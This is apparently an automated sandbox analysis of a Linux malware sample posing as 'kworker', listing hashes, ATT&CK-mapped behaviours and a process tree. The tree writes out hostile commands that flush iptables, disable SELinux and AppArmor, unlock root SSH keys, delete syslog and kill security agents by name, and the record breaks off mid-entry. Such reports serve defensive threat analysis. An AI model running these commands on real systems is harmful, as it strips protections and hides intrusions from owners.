7420e819e6cf6d7608e475468ae0160185fe7eed0b5b4129aad3e8dabc776e30

Analysis

max time kernel
149s
max time network
97s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
04/06/2026, 06:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
kworker
Size 35KB
Sample260604-g17rssav8v
SHA256 7420e819e6cf6d7608e475468ae0160185fe7eed0b5b4129aad3e8dabc776e30
MD5 501ec2da3039ebe4ca379f663232176a
SHA1 c91a51e4392a7cb5d3279f369ecaab670af6b543
SHA512 51984bad15d2ba12607fc6fffee25b5881bf83ae94f6e9ab5d1a737be8fd3cddeb67a97334799063d18ce68b0b7ef9818a8fd80ec8679d6b9708d09a107c0308
SSDEEP 768:vxlT2wDuWvWi78DcFHcbSRlIniRULz/Ql/+9l:wZDEcbSciI19l
TLSH
T1C4F2349DE070DCB13C64CC51DD923318A4AEE09FC5B3BA88BE1D393C67A4149F9A016E
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

Adds new SSH keys 1 TTPs 1 IoCs

Linux special file to hold SSH keys. The threat actor may add new keys for further remote access.

persistence privilege_escalation

SSH Authorized Keys

T1098.004

description	ioc	Process
File opened for modification	/root/.ssh/authorized_keys	kworker

File and Directory Permissions Modification 1 TTPs 8 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1961	Process not Found
717	chmod
1876	Process not Found
1879	Process not Found
1882	Process not Found
1906	Process not Found
1908	Process not Found
1916	Process not Found

Executes dropped EXE 4 IoCs

ioc	pid	Process
/bin/ps	1910	kworker
/etc/javae	1917	kworker
/bin/ps	1965	Process not Found
/bin/ps	1971	Process not Found

Flushes firewall rules 1 TTPs 6 IoCs

Flushes/ disables firewall rules inside the Linux kernel.

defense_evasion

Disable or Modify System Firewall

T1562.004

pid	Process
1922	Process not Found
1924	Process not Found
726	iptables
1655	xargs
1920	Process not Found
1921	Process not Found

Attempts to change immutable files 64 IoCs

Modifies inode attributes on the filesystem to allow changing of immutable files.

pid	Process
1902	Process not Found
1290	xargs
1420	xargs
1449	xargs
781	systemctl
954	chattr
985	xargs
1061	xargs
1073	xargs
1162	xargs
1220	xargs
1390	xargs
993	xargs
1295	xargs
1349	xargs
1432	xargs
1437	xargs
1497	xargs
1512	xargs
1539	xargs
1182	xargs
1310	xargs
1479	xargs
1502	xargs
1890	Process not Found
1461	xargs
1485	xargs
1884	Process not Found
958	chattr
1111	xargs
1122	xargs
1167	xargs
1245	xargs
1270	xargs
1455	xargs
1491	xargs
955	chattr
1260	xargs
1384	xargs
1402	xargs
1408	xargs
1650	chattr
1667	systemctl
1892	Process not Found
1527	xargs
1634	systemctl
1886	Process not Found
813	systemctl
901	xargs
1034	xargs
1687	systemctl
1696	chattr
1099	xargs
1157	xargs
1235	xargs
1613	systemctl
1643	chattr
963	chattr
1047	xargs
1507	xargs
1414	xargs
923	xargs
1142	xargs
1230	xargs

Creates/modifies Cron job 1 TTPs 4 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/etc/cron.hourly/0anacron	kworker
File opened for modification	/etc/cron.d/javae	kworker
File opened for modification	/etc/crontab	kworker
File opened for modification	/etc/cron.daily/logrotate	kworker

Deletes log files 1 TTPs 2 IoCs

Deletes log files on the system.

defense_evasion

Clear Linux or Mac System Logs

T1070.002

description	ioc	Process
File truncated	/var/log/secure	kworker
File truncated	/var/log/wtmp	kworker

Disables AppArmor 64 IoCs

Disables AppArmor security module.

pid	Process
1639	systemctl
1619	systemctl
1673	systemctl
1656	systemctl
1684	systemctl
1930	Process not Found
802	systemctl
795	systemctl
1616	systemctl
811	systemctl
825	systemctl
1602	systemctl
1694	systemctl
770	systemctl
799	systemctl
1622	systemctl
814	systemctl
795	systemctl
1620	systemctl
1623	systemctl
1685	systemctl
793	systemctl
808	systemctl
813	systemctl
1602	systemctl
1633	systemctl
1675	systemctl
805	systemctl
827	systemctl
1628	systemctl
1671	systemctl
1693	systemctl
1623	systemctl
1689	systemctl
821	systemctl
1637	systemctl
1656	systemctl
1666	systemctl
1692	systemctl
770	systemctl
1618	systemctl
770	systemctl
1607	systemctl
1636	systemctl
1656	systemctl
1679	systemctl
1656	systemctl
770	systemctl
1634	systemctl
1695	systemctl
1615	systemctl
1631	systemctl
1687	systemctl
770	systemctl
1665	systemctl
1683	systemctl
795	systemctl
1550	systemctl
1609	systemctl
1670	systemctl
1676	systemctl
1613	systemctl
1630	systemctl
1632	systemctl

Disables SELinux 1 TTPs 8 IoCs

Disables SELinux security module.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
1112	kill
1112	kill
1112	kill
1112	kill
1112	kill
738	setenforce
769	setenforce
1112	kill

Enumerates running processes
Discovers information about currently running processes on the system

Modifies rc script 2 TTPs 1 IoCs

Adding/modifying system rc scripts is a common persistence mechanism.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/rc.d/rc.local	kworker

Write file to user bin folder 6 IoCs

persistence

description	ioc	Process
File opened for modification	/usr/bin/systemd-network	kworker
File opened for modification	/usr/bin/pamdicks	kworker
File opened for modification	/usr/bin/ip6network	kworker
File opened for modification	/usr/bin/kswaped	kworker
File opened for modification	/usr/bin/irqbalanced	kworker
File opened for modification	/usr/bin/rctlcli	kworker

Writes file to system bin folder 6 IoCs

description	ioc	Process
File opened for modification	/bin/top	kworker
File opened for modification	/bin/top	Process not Found
File opened for modification	/bin/pstree	kworker
File opened for modification	/bin/pstree	Process not Found
File opened for modification	/bin/ps	kworker
File opened for modification	/bin/ps	Process not Found

Reads CPU attributes 1 TTPs 64 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps

Enumerates kernel/hardware configuration 1 TTPs 64 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	Process not Found
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Process Discovery 1 TTPs 64 IoCs

Adversaries may try to discover information about running processes.

discovery

Process Discovery

T1057

pid	Process
930	ps
1148	ps
1306	ps
1385	ps
1397	ps
1415	ps
1421	ps
868	ps
1102	ps
1128	ps
1198	ps
1256	ps
1438	ps
1138	ps
1168	ps
1231	ps
1276	ps
1296	ps
1409	ps
1513	ps
1173	ps
1241	ps
1317	ps
845	ps
1143	ps
1193	ps
1339	ps
1523	ps
833	ps
940	ps
1095	ps
1261	ps
1468	ps
945	ps
1118	ps
1266	ps
1322	ps
1427	ps
1221	ps
1251	ps
1281	ps
1365	ps
1380	ps
1444	ps
897	ps
1088	ps
1188	ps
1246	ps
1327	ps
1456	ps
1462	ps
1492	ps
881	ps
1158	ps
1178	ps
1214	ps
1271	ps
1301	ps
1345	ps
1480	ps
767	ps
905	ps
1183	ps
839	ps

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	ps
File opened for reading	/proc/383/cmdline	ps
File opened for reading	/proc/334/status	ps
File opened for reading	/proc/13/cmdline	ps
File opened for reading	/proc/335/cmdline	ps
File opened for reading	/proc/429/stat	ps
File opened for reading	/proc/714/cmdline	ps
File opened for reading	/proc/71/stat	ps
File opened for reading	/proc/382/cmdline	ps
File opened for reading	/proc/16/status	ps
File opened for reading	/proc/235/stat	Process not Found
File opened for reading	/proc/235/status	Process not Found
File opened for reading	/proc/75/cmdline	Process not Found
File opened for reading	/proc/429/status	ps
File opened for reading	/proc/388/status	ps
File opened for reading	/proc/7/cmdline	ps
File opened for reading	/proc/20/stat	ps
File opened for reading	/proc/1454/cmdline	ps
File opened for reading	/proc/4/stat	ps
File opened for reading	/proc/71/cmdline	ps
File opened for reading	/proc/18/cmdline	pkill
File opened for reading	/proc/8/cmdline	ps
File opened for reading	/proc/77/stat	ps
File opened for reading	/proc/10/stat	ps
File opened for reading	/proc/374/cmdline	ps
File opened for reading	/proc/389/stat	ps
File opened for reading	/proc/71/stat	ps
File opened for reading	/proc/80/status	ps
File opened for reading	/proc/77/stat	ps
File opened for reading	/proc/76/stat	ps
File opened for reading	/proc/110/cmdline	ps
File opened for reading	/proc/110/stat	ps
File opened for reading	/proc/sys/kernel/pid_max	ps
File opened for reading	/proc/7/status	ps
File opened for reading	/proc/684/cmdline	Process not Found
File opened for reading	/proc/159/status	Process not Found
File opened for reading	/proc/662/cmdline	ps
File opened for reading	/proc/77/status	ps
File opened for reading	/proc/6/stat	ps
File opened for reading	/proc/18/status	ps
File opened for reading	/proc/1500/status	ps
File opened for reading	/proc/684/stat	Process not Found
File opened for reading	/proc/662/status	ps
File opened for reading	/proc/16/status	ps
File opened for reading	/proc/249/stat	ps
File opened for reading	/proc/429/cmdline	ps
File opened for reading	/proc/9/stat	ps
File opened for reading	/proc/11/cmdline	ps
File opened for reading	/proc/76/stat	ps
File opened for reading	/proc/338/cmdline	ps
File opened for reading	/proc/17/stat	ps
File opened for reading	/proc/374/stat	ps
File opened for reading	/proc/249/status	ps
File opened for reading	/proc/70/status	ps
File opened for reading	/proc/715/status	ps
File opened for reading	/proc/332/status	ps
File opened for reading	/proc/1115/status	ps
File opened for reading	/proc/19/stat	ps
File opened for reading	/proc/75/status	ps
File opened for reading	/proc/335/status	ps
File opened for reading	/proc/13/stat	ps
File opened for reading	/proc/82/stat	ps
File opened for reading	/proc/684/cmdline	ps
File opened for reading	/proc/1180/stat	ps

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
960	chattr
1544	rm
1926	Process not Found
954	chattr

Writes file to tmp directory 16 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/kdevtmpfsi	kworker
File opened for modification	/tmp/fileutl.message.5AAgGm	Process not Found
File opened for modification	/tmp/fileutl.message.QmvP2e	Process not Found
File opened for modification	/tmp/svcupdate	kworker
File opened for modification	/tmp/fileutl.message.uRlalB	Process not Found
File opened for modification	/tmp/fileutl.message.eAQ0EQ	Process not Found
File opened for modification	/tmp/fileutl.message.QqFwcf	Process not Found
File opened for modification	/tmp/fileutl.message.KdU1Ys	Process not Found
File opened for modification	/tmp/fileutl.message.0YhTGX	Process not Found
File opened for modification	/tmp/svcguard	kworker
File opened for modification	/tmp/fileutl.message.kTb1Sl	Process not Found
File opened for modification	/tmp/fileutl.message.foimlj	Process not Found
File opened for modification	/tmp/fileutl.message.62Lgst	Process not Found
File opened for modification	/tmp/fileutl.message.7wZKDF	Process not Found
File opened for modification	/tmp/.ice-unix/.../.watch	Process not Found
File opened for modification	/tmp/fileutl.message.KiKxpp	Process not Found

Software Deployment Tools 1 TTPs 2 IoCs

Use software deployment tools to execute code.

execution

Software Deployment Tools

T1072

pid	Process
1936	Process not Found
1979	Process not Found

/tmp/kworker
/tmp/kworker
1⤵
- Adds new SSH keys
- Executes dropped EXE
- Creates/modifies Cron job
- Deletes log files
- Modifies rc script
- Write file to user bin folder
- Writes file to system bin folder
- Writes file to tmp directory
PID:714
- /bin/chmod
  chmod 777 /usr/bin/chattr /bin/chattr
  2⤵
  - File and Directory Permissions Modification
  PID:717
- /usr/bin/chattr
  chattr -iua /tmp/ /var/tmp/
  2⤵
  PID:724
- /sbin/iptables
  iptables -F
  2⤵
  - Flushes firewall rules
  PID:726
- /usr/bin/chattr
  chattr -iae /root/.ssh /root/.ssh/authorized_keys
  2⤵
  PID:732
- /bin/rm
  rm -rf "/tmp/addres*" "/tmp/walle*" /tmp/keys
  2⤵
  PID:734
- /bin/rm
  rm -f /var/log/syslog
  2⤵
  PID:736
- /usr/sbin/setenforce
  setenforce 0
  2⤵
  - Disables SELinux
  PID:738
- /bin/sync
  sync
  2⤵
  PID:740
- /bin/cat
  cat /var/spool/cron/
  2⤵
  PID:743
- /bin/cat
  cat /root/.ssh/authorized_keys
  2⤵
  PID:744
- /bin/mv
  mv /usr/bin/wgettnt /usr/bin/wd1
  2⤵
  PID:745
- /bin/mv
  mv /usr/bin/curltnt /usr/bin/cd1
  2⤵
  PID:747
- /bin/mv
  mv /usr/bin/wget1 /usr/bin/wd1
  2⤵
  PID:749
- /bin/mv
  mv /usr/bin/curl1 /usr/bin/cd1
  2⤵
  PID:751
- /bin/mv
  mv /usr/bin/cur /usr/bin/cd1
  2⤵
  PID:753
- /bin/mv
  mv /usr/bin/cdl /usr/bin/cd1
  2⤵
  PID:755
- /bin/mv
  mv /usr/bin/cdt /usr/bin/cd1
  2⤵
  PID:756
- /bin/mv
  mv /usr/bin/xget /usr/bin/wd1
  2⤵
  PID:757
- /bin/mv
  mv /usr/bin/wge /usr/bin/wd1
  2⤵
  PID:758
- /bin/mv
  mv /usr/bin/wdl /usr/bin/wd1
  2⤵
  PID:759
- /bin/mv
  mv /usr/bin/wdt /usr/bin/wd1
  2⤵
  PID:761
- /bin/mv
  mv /usr/bin/wget /usr/bin/wd1
  2⤵
  PID:762
- /bin/mv
  mv /usr/bin/curl /usr/bin/cd1
  2⤵
  PID:763
- /bin/grep
  grep -i "[a]liyun"
  2⤵
  PID:766
- /bin/ps
  ps aux
  2⤵
  PID:765
- /bin/grep
  grep -i "[y]unjing"
  2⤵
  PID:768
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:767
- /usr/sbin/setenforce
  setenforce 0
  2⤵
  - Disables SELinux
  PID:769
- /usr/sbin/service
  service apparmor stop
  2⤵
  PID:770
- - /usr/bin/basename
    basename /usr/sbin/service
    3⤵
    PID:771
- - /usr/bin/basename
    basename /usr/sbin/service
    3⤵
    PID:772
- - /bin/systemctl
    systemctl --quiet is-active multi-user.target
    3⤵
    - Enumerates kernel/hardware configuration
    PID:773
- - /bin/systemctl
    systemctl list-unit-files --full "--type=socket"
    3⤵
    PID:775
- - /bin/sed
    sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
    3⤵
    PID:776
- - /bin/systemctl
    systemctl -p Triggers show dbus.socket
    3⤵
    PID:777
- - /bin/systemctl
    systemctl -p Triggers show ssh.socket
    3⤵
    PID:778
- - /bin/systemctl
    systemctl -p Triggers show syslog.socket
    3⤵
    PID:779
- - /bin/systemctl
    systemctl -p Triggers show systemd-fsckd.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:780
- - /bin/systemctl
    systemctl -p Triggers show systemd-initctl.socket
    3⤵
    - Attempts to change immutable files
    PID:781
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald-audit.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:782
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald-dev-log.socket
    3⤵
    PID:783
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:784
- - /bin/systemctl
    systemctl -p Triggers show systemd-networkd.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:785
- - /bin/systemctl
    systemctl -p Triggers show systemd-rfkill.socket
    3⤵
    PID:786
- - /bin/systemctl
    systemctl -p Triggers show systemd-udevd-control.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:788
- - /bin/systemctl
    systemctl -p Triggers show systemd-udevd-kernel.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:790
- /usr/local/sbin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor
  PID:770
- /usr/local/bin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor
  PID:770
- /usr/sbin/systemctl
  systemctl stop apparmor.service
  2⤵
  PID:770
- /usr/bin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor
  PID:770
- /sbin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor
  PID:770
- /bin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor
  - Enumerates kernel/hardware configuration
  PID:770
- /bin/systemctl
  systemctl disable apparmor
  2⤵
  - Disables AppArmor
  PID:793
- /usr/sbin/service
  service aliyun.service stop
  2⤵
  PID:795
- - /usr/bin/basename
    basename /usr/sbin/service
    3⤵
    PID:797
- - /usr/bin/basename
    basename /usr/sbin/service
    3⤵
    PID:798
- - /bin/systemctl
    systemctl --quiet is-active multi-user.target
    3⤵
    - Disables AppArmor
    PID:799
- - /bin/systemctl
    systemctl list-unit-files --full "--type=socket"
    3⤵
    - Disables AppArmor
    - Enumerates kernel/hardware configuration
    PID:802
- - /bin/sed
    sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
    3⤵
    PID:803
- - /bin/systemctl
    systemctl -p Triggers show dbus.socket
    3⤵
    - Disables AppArmor
    - Enumerates kernel/hardware configuration
    PID:805
- - /bin/systemctl
    systemctl -p Triggers show ssh.socket
    3⤵
    - Disables AppArmor
    PID:808
- - /bin/systemctl
    systemctl -p Triggers show syslog.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:809
- - /bin/systemctl
    systemctl -p Triggers show systemd-fsckd.socket
    3⤵
    - Disables AppArmor
    - Enumerates kernel/hardware configuration
    PID:811
- - /bin/systemctl
    systemctl -p Triggers show systemd-initctl.socket
    3⤵
    - Attempts to change immutable files
    - Disables AppArmor
    - Enumerates kernel/hardware configuration
    PID:813
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald-audit.socket
    3⤵
    - Disables AppArmor
    PID:814
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald-dev-log.socket
    3⤵
    PID:817
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald.socket
    3⤵
    PID:818
- - /bin/systemctl
    systemctl -p Triggers show systemd-networkd.socket
    3⤵
    - Disables AppArmor
    PID:821
- - /bin/systemctl
    systemctl -p Triggers show systemd-rfkill.socket
    3⤵
    - Disables AppArmor
    PID:825
- - /bin/systemctl
    systemctl -p Triggers show systemd-udevd-control.socket
    3⤵
    - Disables AppArmor
    - Enumerates kernel/hardware configuration
    PID:827
- - /bin/systemctl
    systemctl -p Triggers show systemd-udevd-kernel.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:829
- /usr/local/sbin/systemctl
  systemctl stop aliyun.service.service
  2⤵
  PID:795
- /usr/local/bin/systemctl
  systemctl stop aliyun.service.service
  2⤵
  PID:795
- /usr/sbin/systemctl
  systemctl stop aliyun.service.service
  2⤵
  - Disables AppArmor
  PID:795
- /usr/bin/systemctl
  systemctl stop aliyun.service.service
  2⤵
  - Disables AppArmor
  PID:795
- /sbin/systemctl
  systemctl stop aliyun.service.service
  2⤵
  PID:795
- /bin/systemctl
  systemctl stop aliyun.service.service
  2⤵
  - Disables AppArmor
  - Enumerates kernel/hardware configuration
  PID:795
- /bin/systemctl
  systemctl disable aliyun.service
  2⤵
  PID:831
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:837
- /bin/grep
  grep -v grep
  2⤵
  PID:834
- /bin/grep
  grep aegis
  2⤵
  PID:835
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:833
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:836
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:842
- /bin/grep
  grep Yun
  2⤵
  PID:841
- /bin/grep
  grep -v grep
  2⤵
  PID:840
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:839
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:843
- /usr/bin/xargs
  xargs rm -rf
  2⤵
  PID:850
- - /usr/local/sbin/rm
    rm -rf
    3⤵
    PID:855
- - /usr/local/bin/rm
    rm -rf
    3⤵
    PID:855
- - /usr/sbin/rm
    rm -rf
    3⤵
    PID:855
- - /usr/bin/rm
    rm -rf
    3⤵
    PID:855
- - /sbin/rm
    rm -rf
    3⤵
    PID:855
- - /bin/rm
    rm -rf
    3⤵
    PID:855
- /usr/bin/xargs
  xargs dirname
  2⤵
  PID:849
- - /usr/local/sbin/dirname
    dirname
    3⤵
    PID:852
- - /usr/local/bin/dirname
    dirname
    3⤵
    PID:852
- - /usr/sbin/dirname
    dirname
    3⤵
    PID:852
- - /usr/bin/dirname
    dirname
    3⤵
    PID:852
- /usr/bin/awk
  awk "{print \$11}"
  2⤵
  PID:848
- /bin/grep
  grep aegis
  2⤵
  PID:847
- /bin/grep
  grep -v grep
  2⤵
  PID:846
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:845
- /usr/bin/xargs
  xargs rm -rf
  2⤵
  PID:861
- - /usr/local/sbin/rm
    rm -rf
    3⤵
    PID:866
- - /usr/local/bin/rm
    rm -rf
    3⤵
    PID:866
- - /usr/sbin/rm
    rm -rf
    3⤵
    PID:866
- - /usr/bin/rm
    rm -rf
    3⤵
    PID:866
- - /sbin/rm
    rm -rf
    3⤵
    PID:866
- - /bin/rm
    rm -rf
    3⤵
    PID:866
- /usr/bin/xargs
  xargs dirname
  2⤵
  PID:860
- - /usr/local/sbin/dirname
    dirname
    3⤵
    PID:862
- - /usr/local/bin/dirname
    dirname
    3⤵
    PID:862
- - /usr/sbin/dirname
    dirname
    3⤵
    PID:862
- - /usr/bin/dirname
    dirname
    3⤵
    PID:862
- /usr/bin/awk
  awk "{print \$11}"
  2⤵
  PID:859
- /bin/grep
  grep hids
  2⤵
  PID:858
- /bin/grep
  grep -v grep
  2⤵
  PID:857
- /bin/ps
  ps aux
  2⤵
  PID:856
- /usr/bin/xargs
  xargs rm -rf
  2⤵
  PID:873
- - /usr/local/sbin/rm
    rm -rf
    3⤵
    PID:879
- - /usr/local/bin/rm
    rm -rf
    3⤵
    PID:879
- - /usr/sbin/rm
    rm -rf
    3⤵
    PID:879
- - /usr/bin/rm
    rm -rf
    3⤵
    PID:879
- - /sbin/rm
    rm -rf
    3⤵
    PID:879
- - /bin/rm
    rm -rf
    3⤵
    PID:879
- /usr/bin/xargs
  xargs dirname
  2⤵
  PID:872
- - /usr/local/sbin/dirname
    dirname
    3⤵
    PID:876
- - /usr/local/bin/dirname
    dirname
    3⤵
    PID:876
- - /usr/sbin/dirname
    dirname
    3⤵
    PID:876
- - /usr/bin/dirname
    dirname
    3⤵
    PID:876
- /usr/bin/awk
  awk "{print \$11}"
  2⤵
  PID:871
- /bin/grep
  grep cloudwalker
  2⤵
  PID:870
- /bin/grep
